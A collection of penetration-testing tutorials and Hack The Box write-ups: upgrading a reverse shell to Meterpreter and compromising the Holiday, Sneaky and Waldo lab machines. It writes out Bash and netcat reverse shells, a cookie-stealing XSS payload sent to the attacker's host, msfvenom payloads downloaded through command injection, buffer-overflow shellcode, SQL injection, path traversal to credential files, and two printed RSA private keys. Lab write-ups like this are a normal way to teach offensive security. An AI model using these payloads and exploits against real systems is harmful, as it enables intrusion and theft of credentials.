Upgrade Netcat shell to Meterpreter

In this hacking tutorial we are going to upgrade a Netcat shell to a Meterpreter shell in 3 simple steps. First we will use the multi handler module in Metasploit to intercept the reverse shell using a Linux x86 payload. Then we will issue the reverse shell on a Linux host with a Bash reverse shell. Finally we will use the post exploitation Metasploit module shell_to_meterpreter targeting the session with the reverse Bash shell.

Step 1: Setting up a Metasploit Multi Handler

Let’s fire up Metasploit and setup the multi handler to intercept a reverse Bash shell on port 443 with the following command:

msf > use multi/handler
msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.178.16
lhost => 192.168.178.16
msf exploit(multi/handler) > set lport 443
lport => 443
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.178.16:443
[*] Sending stage (36 bytes) to 192.168.178.32
[*] Command shell session 1 opened (192.168.178.16:443 -> 192.168.178.32:59438) at 2018-12-29 15:06:09 +0100

Step 2: Target host – Bash reverse shell

Now that we have got a listener running on port 443 we can issue the bash command on the target host to setup a reverse shell and connect back to the attack box. Please note that we are executing this command on the target host from the command line. In real life penetration testing scenario’s this command is often executed through remote code execution (RCE) exploits using various attack vectors.

root@target:~# bash -i> /dev/tcp/192.168.178.16/443 0>&1

nc [IP attackbox] 443 -e /bin/sh

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.178.16:443
[*] Sending stage (36 bytes) to 192.168.178.32
[*] Command shell session 4 opened (192.168.178.16:443 -> 192.168.178.32:59466) at 2018-12-29 15:24:56 +0100

id
uid=0(root) gid=0(root) groups=0(root)

Step 3: Upgrade to Meterpreter shell

Use Ctrl-Z to background the current session

This takes us back to the msfconsole command line. From this point we can upgrade the shell in 2 different ways:

  1. Use the sessions -u [session id]command.
  2. Use the post/multi/manage/shell_to_meterpreter to upgrade the shell.

Let’s have a look at both ways starting with a direct upgrade by running the following command after we’ve put the active session to the background:

sessions -u 4

Once the command stager has finished we can interact with the new session by running the following command:

sessions -i 5

in the msfconsole command line we have to select the post exploitation module shell_to_meterpreter with the following command:

msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============

Id Name Type Information Connection
— —- —- ———– ———-
4 shell x86/linux 192.168.178.16:443 -> 192.168.178.32:59466 (192.168.178.32)

msf post(multi/manage/shell_to_meterpreter) > set session 4
session => 4
msf post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.178.16:4433
[*] Sending stage (53508 bytes) to 192.168.178.32
[*] Meterpreter session 5 opened (192.168.178.16:4433 -> 192.168.178.32:35950) at 2018-12-29 15:29:09 +0100
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) >
[*] Stopping exploit/multi/handler

msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

Id Name Type Information Connection
— —- —- ———– ———-
4 shell x86/linux 192.168.178.16:443 -> 192.168.178.32:59466 (192.168.178.32)
5 meterpreter python/linux root @ webmail.jaccostraathof.nl 192.168.178.16:4433 -> 192.168.178.32:35950 (192.168.178.32)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 5
[*] Starting interaction with 5...
meterpreter > 

On some occasions you might receive a permissions related error when running this exploit. In this tutorial we have a root shell with write access on the path the regular Bash reverse shell is pointing to. In order to successfully run this exploit the target sessions needs write access to its current location. Switching the directory to /tmp will often do the trick, otherwise you have to find another location to write the payload to.

At this point we have an active Meterpreter session with the target host. We are now able to use this session for port forwarding with portfwd, dump system hashes and run post exploitation Metasploit modules on either of the sessions. Many of local Metasploit modules take a session id instead of a rhost parameter, this is where you supply the session id from the Meterpreter shell.

Lessons learned

In this tutorial we have followed 3 steps to upgrade a regular Netcat or Bash reverse shell to a Meterpreter shell:

  1. Setup a multi handler listener to intercept the Bash reverse shell.
  2. Initiate the reverse shell from the target host to the attack box.
  3. Run the upgrade to Meterpreter shell module from Metasploit.

Reference : https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/

HTB – Holiday

Today we are going to solve another CTF challenge “Holiday” which is available online for those who want to increase their skill in penetration testing and black box testing. Holiday is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.25 so let’s begin with nmap port enumeration.

root@kali:~/htb/holiday# nmap -sC -sV 10.10.10.25
# Nmap 7.70 scan initiated Mon Dec 24 14:29:27 2018 as: nmap -sC -sV  10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.028s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
| 256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_ 256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 24 14:29:58 2018 -- 1 IP address (1 host up) scanned in 31.16 seconds

We can observe we found port 22 and 8000 are open on target system.

As port 8000 is running http we open the IP address in the browser, and find a webpage.

We didn’t find anything on the webpage so we use dirb to enumerate the directories.

dirb http://10.10.10.25:8000

Dirb scan gives us a link to a directory called /login, we open the link and find a login page.

We capture the login request using burpsuite. We use random credentials as placeholder.

POST /login HTTP/1.1
Host: 10.10.10.25:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.25:8000/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1

username=admin&password=12345

We use sqlmap to check if it is vulnerable to sql injection. After finding that it is vulnerable to sql injection, we use sqlmap to dump the database and find a username “RickA” and password hash.

c:\SQLMAP>python sqlmap.py -r sql.txt -T users --columns --dump --batch

[*] starting @ 14:53:27 /2018-12-24/

[14:53:27] [INFO] parsing HTTP request from 'sql.txt'
[14:53:27] [INFO] resuming back-end DBMS 'sqlite'
--snip--
Database: SQLite_masterdb
Table: users
[1 entry]
+----+--------+----------+----------------------------------+
| id | active | username | password |
+----+--------+----------+----------------------------------+
| 1 | 1 | RickA | fdc8cd4cff2c19e0d1022e78481ddf36 |
+----+--------+----------+----------------------------------+

[*] ending @ 14:54:08 /2018-12-24/

We use hashkiller.co.uk to decrypt the hash and find the password to the user.

We login using these credentials and we are redirected to a page with that looks like it contains user information.

We click on one of the UUID link and find a page that we can post notes for the users. It also shows that it will take up to 1 minute to post the note.

We try exploit the note function, by adding an <img src=http://10.10.14.19:8000/> note, and find it is vulnerable xss.

add note <img src=http://10.10.14.19:8000/>

c:\Python37>python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.25 - - [26/Dec/2018 12:29:34] "GET / HTTP/1.1" 200 -

As the notes are being read by administrator xss can be used to get the admin cookie. To run xss and run our payload we need to bypass the filter using java script function String.fromCharCode to run our payload. I created this scrip below to convert string to ascii code.

root@kali:~/htb/holiday# cat encode.py 
def encodejs(ascii):
decimal_string = ""
for char in ascii:
decimal_string+= str(ord(char)) + ","
return decimal_string[:-1]

input = raw_input("Enter string to convert: ")
print encodejs(input)
root@kali:~/htb/holiday# python encode.py 
Enter string to convert: window.addEventListener('DOMContentLoaded', function(e){window.location="http://10.10.14.19:8000/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)})
119,105,110,100,111,119,46,97,100,100,69,118,101,110,116,76,105,115,116,101,110,101,114,40,39,68,79,77,67,111,110,116,101,110,116,76,111,97,100,101,100,39,44,32,102,117,110,99,116,105,111,110,40,101,41,123,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,57,58,56,48,48,48,47,63,99,111,111,107,105,101,61,34,32,43,32,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,34,99,111,111,107,105,101,34,41,91,48,93,46,118,97,108,117,101,41,125,41

We post the note to bypass the filter

<img src="/><script>eval(String.fromCharCode(119,105,110,100,111,119,46,97,100,100,69,118,101,110,116,76,105,115,116,101,110,101,114,40,39,68,79,77,67,111,110,116,101,110,116,76,111,97,100,101,100,39,44,32,102,117,110,99,116,105,111,110,40,101,41,123,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,57,58,56,48,48,48,47,63,99,111,111,107,105,101,61,34,32,43,32,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,34,99,111,111,107,105,101,34,41,91,48,93,46,118,97,108,117,101,41,125,41
))</script>" />

We setup our listener using python on port 80, as we will receive the the response of the page including the administrator cookie on this port.

After waiting for 1 minute we received the admin cookie.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.25 - - [26/Dec/2018 12:29:34] "GET / HTTP/1.1" 200 -
10.10.10.25 - - [26/Dec/2018 12:41:35] "GET /?cookie=connect.sid=s%253Ac64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA HTTP/1.1" 200 -
10.10.10.25 - - [26/Dec/2018 12:41:35] "GET /?cookie=connect.sid=s%253Ac64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA HTTP/1.1" 200 -

url decoded as :connect.sid=s:c64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA

We capture the webpage’s request using burpsuite. We change our cookie with that of administrator and forward it.

As soon as we forward the request, we are able to successfully hijack the administrator session.

We now go to /admin directory and find a page where there are options to export bookings and notes.

We capture the request using burpsuite, and check if it is vulnerable to any king of injection. After enumerating we find that this page is vulnerable to command injection.

We are unable to get a shell using web_delivery module of metaploit due to there being filters. Now we create a payload using msfvenom to upload into the target machine using command injection and get reverse shell.

root@kali:~/htb/holiday# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.19 LPORT=53 -f elf -o mpshell53
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: mpshell53

After creating a shell, we create a python http server to upload into the target machine.

 

Because “.” Is blacklisted so we convert the ipaddress into decimal number so that we can bypass the filter.

We upload the shell using wget command into the target machine and save it in /tmp directory.

GET /admin/export?table=notes%26cd+/tmp/%26%26wget+168431123/mpshell53 HTTP/1.1

As soon as we run the command we get a prompt that shell is uploaded.

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000
10.10.10.25 -- [30/dec/2018 15:03:23] "GET /mpshell53 HTTP/1/1" 200 -

We give our payload read, write and execute permission using command injection.

GET /admin/export?table=notes%26cd+/tmp/%26%26chmod+777+mpshell53 HTTP/1.1

Now we setup our listener using metasploit.

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.19
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > run

We run the shell using command injection vulnerability on the target machine.

GET /admin/export?table=notes%26/tmp/mpshell53 HTTP/1.1

As soon as we run the shell we get a reverse shell.

We spawn a tty shell and take a look at the sudoers list and find that we can run /usr/bin/npm I * as root with no password.

python -c "import pty; pty.spawn('/bin/bash')"
sudo -l

Before trying to get root shell we first enumerate rest of the directories and find a file called “user.txt” in /home/algernon directory. We take a look at the content of the files and find the first flag.

Now we try to take root.txt we go to /app directory. We rename package.json to pack, and symlink /root/root.txt package.json

ln -s /root/root.txt package.json

We run /usr/bin/npm i * as root user and find the final flag.

algernon@holiday:~/app$ sudo /usr/bin/npm i *
sudo /usr/bin/npm i *
npm ERR! Linux 4.4.0-78-generic
npm ERR! argv "/usr/bin/nodejs" "/usr/bin/npm" "i" "hex.db" "index.html" "index.html.1" "index.html.2" "index.html.3" "index.html.4" "index.html.5" "index.html.6" "index.js" "layouts" "mpshell53" "mpshell53.1" "mpshell53.2" "mpshell53.3" "mpshell53.4" "mpshell53.5" "mpshell53.6" "n" "nc" "nc.1" "nc.2" "nc.3" "ncshell" "ncshell.1" "node_modules" "pack" "package.json" "py" "setup" "shell" "shell.1" "shell.2" "shell.3" "shell.4" "static" "user" "user.1" "views"
npm ERR! node v6.10.3
npm ERR! npm v3.10.10
npm ERR! file /home/algernon/app/package.json
npm ERR! code EJSONPARSE

npm ERR! Failed to parse json
npm ERR! Unexpected token 'a' at 1:1
npm ERR! a844--snipcode--2e8
npm ERR! ^
npm ERR! File: /home/algernon/app/package.json
npm ERR! Failed to parse package.json data.
npm ERR! package.json must be actual JSON, not just JavaScript.
npm ERR! 
npm ERR! This is not a bug in npm.
npm ERR! Tell the package author to fix their package.json file. JSON.parse

npm ERR! Please include the following file with any support request:
npm ERR! /home/algernon/app/npm-debug.log

 

Author: Jacco Straathof

HTB – Sneaky

Today we are going to solve another CTF challenge “Sneaky” which is available online for those who want to increase their skill in penetration testing and black box testing. Sneaky is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

let’s begin with nmap port enumeration.

root@kali:~/htb/sneaky# nmap -sT -sU -p 161,80 10.10.10.20
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 10:56 CET
Stats: 0:00:15 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.10.10.20
Host is up (0.026s latency).

PORT    STATE  SERVICE
80/tcp  open   http
161/tcp closed snmp
80/udp  closed http
161/udp open   snmp

Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds

As port 80 is running http we open it in our browser, the website shows that it’s under construction.

We initiate dirb to enumerate the directories hosted on the target machine.

root@kali:~/htb/sneaky# dirb http://10.10.10.20/
-----------------
DIRB v2.22 
By The Dark Raver
-----------------
START_TIME: Mon Dec 24 11:37:09 2018
URL_BASE: http://10.10.10.20/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.20/ ----
==> DIRECTORY: http://10.10.10.20/dev/

We find a directory called /dev/ we open it in our browser and find a login screen.

We find the login page is vulnerable to sql injection; we use this vulnerability to bypass the login page using query ‘ or 1=1;– in username and password.

After logging in we find a link on the webpage.

We open the link and find a RSA private key. We download the key into our system.

http://10.10.10.20/dev/sshkeyforadministratordifficulttimes

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

Now the target machine is not running any ssh service so that we can use this to login through ssh.

To investigate further we enumerate SNMP protocol to gain more information.

root@kali:~/htb/sneaky# snmpwalk -v2c -c public 10.10.10.20
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3570073) 9:55:00.73
iso.3.6.1.2.1.1.4.0 = STRING: "root"
iso.3.6.1.2.1.1.5.0 = STRING: "Sneaky"
iso.3.6.1.2.1.1.6.0 = STRING: "Unknown"
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
root@kali:~/htb/sneaky# python enyx.py 2c public 10.10.10.20
#######################################################################
[+] Snmpwalk found.
[+] Grabbing IPv6.
[+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001
[+] Unique-Local -> dead:beef:0000:0000:0250:56ff:fe8f:6bf0
[+] Link Local -> fe80:0000:0000:0000:0250:56ff:fe8f:6bf0

or

root@kali:~/htb/sneaky# apt install snmp-mibs-downloader
root@kali:~/htb/sneaky# vi /etc/snmp/snmp.conf
# As the snmp packages come without MIB files due to license reasons, loading
# of MIBs is disabled by default. If you added the MIBs you can reenable
# loading them by commenting out the following line.
# mibs :
root@kali:~/htb/sneaky# snmpwalk -v2c -c public 10.10.10.20 > snmpwalk.txt

root@kali:~/htb/sneaky# cat snmpwalk.txt | grep ipv6
IP-MIB::ipAddressPrefix.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:8f:6b:f0" = OID: IP-MIB::ipAddressPrefixOrigin.2.ipv6."de:ad:be:ef:00:00:00:00:00:00:00:00:00:00:00:00".64

After finding the ipv6 address of the target machine we login through ssh using the username and RSA Private key that we find after we login on the /dev/ page.

root@kali:~/htb/sneaky# ssh -i priv -6 thrasivoulos@dead:beef:0000:0000:0250:56ff:fe8f:6bf0
The authenticity of host 'dead:beef::250:56ff:fe8f:6bf0 (dead:beef::250:56ff:fe8f:6bf0)' can't be established.
ECDSA key fingerprint is SHA256:KCwXgk+ryPhJU+UhxyHAO16VCRFrty3aLPWPSkq/E2o.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'dead:beef::250:56ff:fe8f:6bf0' (ECDSA) to the list of known hosts.
lsWelcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Mon Dec 24 04:46:18 EET 2018

System load: 0.0 Memory usage: 4% Processes: 177
Usage of /: 9.9% of 18.58GB Swap usage: 0% Users logged in: 0

Graph this data and manage this system at:
https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077
lsthrasivoulos@Sneaky:~$ ls

After logging in through ssh we find a file called user.txt we open it and find our first flag. Now we try to find files with suid bit set.

thrasivoulos@Sneaky:~$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/usr/local/bin/chal
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/at
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
thrasivoulos@Sneaky:~$
  • After enumerating the executable file, we understand it is an elf executable file 32 bit and it uses strcpy().
  • Function strcpy() is vulnerable to Buffer Overflow
  • After running gdb and understanding memory allocations, following code will successfully run shell with root user.
  • The shell code used is
thrasivoulos@Sneaky:/usr/local/bin$ ./chal $(python -c 'print "\x90"*330 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x42\xf4\xff\xbf"*30')
# id
uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)
# whoami
root
# cd /
# cd root
# cat root.txt
c515*****b33

 

Author: Jacco Straathof

HTB – Waldo

Today we are going to solve another CTF challenge “Waldo”. Waldo is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Mediun

Task: To find user.txt and root.txt file

Let’s start off with nmap command to find out the open ports and services.

root@kali:~/htb/waldo# nmap -sC -sV -oA nmap 10.10.10.87
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 15:05 CET
Nmap scan report for 10.10.10.87
Host is up (0.029s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds

.

Site

The site presents as a Where’s Waldo themed List Manager:

1533591731247

Beyond observing the awesome background (from Where’s Waldo? In Hollywood (Book 4 – Scene 3)) and the silly script that turns my mouse into a waldo head, I can create lists, add and delete items from them:

1533591783672

When I add a list, it is added in numerical order, and always named list[x], where x is an increasing int.

Under the Hood

If I watch what’s happening as I create and delete lists and items in a proxy (like burp, or firefox dev tools), there’s a series of POST requests to 4 php scripts:

  • dirRead.php
  • fileRead.php
  • fileWrite.php
  • fileDelete.php

Here’s an example selection of requests from burp generated by interacting with the site:

1533592009855

dirRead.php

If I pull up one of the POSTs to dirRead.php, I’ll see a request which includes a path:

Site Source

I can pipe the curl output into jq with the -r flag to print the string as raw, and select the fileobject (if you don’t know jq, you should check it out – it comes in handy in so many situations with json data.

So this command will grab dirRead.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=dirRead.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['path'])){
header('Content-type: application/json');
$_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
echo json_encode(scandir("/var/www/html/" . $_POST['path']));
}else{
header('Content-type: application/json');
echo '[false]';
}
}

fileRead.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileRead.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php


if($_SERVER['REQUEST_METHOD'] === "POST"){
$fileContent['file'] = false;
header('Content-Type: application/json');
if(isset($_POST['file'])){
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file'])); 
fclose();
}
}
echo json_encode($fileContent);
}

fileWrite.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileWrite.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
header('Content-Type: application/json');
$condition['result'] = false;
if(isset($_POST['listnum'])){
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
$handle = fopen($myFile, 'w');
$data = $_POST['data'];
fwrite($handle, $data);
fclose();
$condition['result'] = true;
}
}
echo json_encode($condition);
}

fileDelete.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileDelete.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['listnum'])){
header('Content-Type: application/json');
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
unlink($myFile);
header('Content-Type: application/json');
echo '[true]';
}else{
header('Content-Type: application/json');
echo '[false]';
}
}else{
header('Content-Type: application/json');
echo '[false]';
}
}

Bypassing Filters

I can see in both dirRead and fileRead the user input is filtered to remove directory traversal attacks. There’s a third filter there in fileRead that prevents me from reading user.txt:

file filter
dirRead $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
fileRead $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
fileRead strpos($_POST['file'], "user.txt") === false

Fortunately for me, that style filter can be bypassed by including a string that, after the str_replace, will result in what I want. str_replace is not recursive. It only makes one pass over the string. So, str_replace( array("../", "..\""), "", "....//") == "../".

To test, I’ll get a directory listing of / and grab /etc/passwd:

root@kali:~/htb/waldo# curl -s -X POST -d "path=....//....//....//" http://10.10.10.87/dirRead.php | jq -rc
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]

root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//etc/passwd" http://10.10.10.87/fileRead.php | jq -r .file
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
--snip--
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

Intersting Files

In enumerating the box with dir list and file read, I’ll find a few interesting things.

Right away we see .dockerenv in the root. Looking around further, the box is sparse, so I am likely in a container.

There’s also a .ssh folder, which contains a file named .monitor, which is a private ssh key. I’ll save it with this command

  • root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//home/nobody/.ssh/.monitor" http://10.10.10.87/fileRead.php | jq -r .file > id_waldo_nobody
    root@kali:~/htb/waldo# cat id_waldo_nobody 
    -----BEGIN RSA PRIVATE KEY-----
    MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
    mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
    87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
    dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
    o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
